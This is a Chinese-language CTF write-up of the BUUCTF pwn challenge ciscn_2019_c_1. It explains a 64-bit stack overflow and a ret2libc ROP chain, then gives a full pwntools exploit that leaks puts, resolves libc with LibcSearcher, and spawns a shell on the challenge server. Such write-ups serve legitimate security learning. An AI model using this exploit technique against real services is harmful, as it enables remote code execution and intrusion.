如果是第一次接触ROP链,一定要看下面这位哥的博客,真的好
pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)-优快云博客
知识点 libc库
搞了好几天,我勒个豆
前面什么就不说了
IDA打开吧
main函数
进入这里
漏洞点
地址400740
溢出长度
0x50+0x8
环顾一周
我勒个骚刚
没有后门函数(/bin/sh)
_______________________
这道题需要我们自己构建函数
那有下面问题了
这里没有bin函数,我要怎么得到bin函数的地址呢?
回答:其实这个程序构造的时候,使用了libc库函数,虽然我们看不见,但是在他主机里面,仍然存在libc库,libc库里面什么函数都有
[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-优快云博客
这是借鉴的博客
里面有这段话,我来解释下
1.利用libc的时候,本地的函数地址和libc的函数地址,有一定的偏移量,这个偏移量是固定的,也就是说,我们知道了偏移量,libc的版本我们就知道了
2.是具体找到偏移量的方法
3.最后我们找到了libc的版本,因为libc里面bin/sh这样的函数地址是固定的,我们又知道了偏移量,那么我们直接偏移量+libc地址,就可以利用后门函数了
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)
payload+=p64(puts_got) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt) #调用puts函数,输出的是puts的got表地址
payload+=p64(main) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#接收程序返回的地址
#lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本
首先我们构造函数 在64位里面,我们需要通过寄存器穿参数来构造
我们找到RDI
ROPgadget --binnary [文件名] --only'pop|rdi|ret'
这里一般用rdi吧
地址:0400c83
return地址我们也要用到
这里是64要用的
【PWN学习】如何获取libc基址_pwn libc-优快云博客
这篇博客真行,兄弟们
给我教会了
from pwn import*
from LibcSearcher import*
r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']#获取plt表
puts_got=elf.got['puts']#获取got表
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)#再次执行main函数
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#得到本地的put地址实际地址
print (hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)#根据找到的libc确定libc版本
offset=puts_addr-libc.dump('puts')#确定偏移量
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')#利用偏移量得到libc时间地址的binsh
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()
结合上面那个博客,这代码应该就OK了
!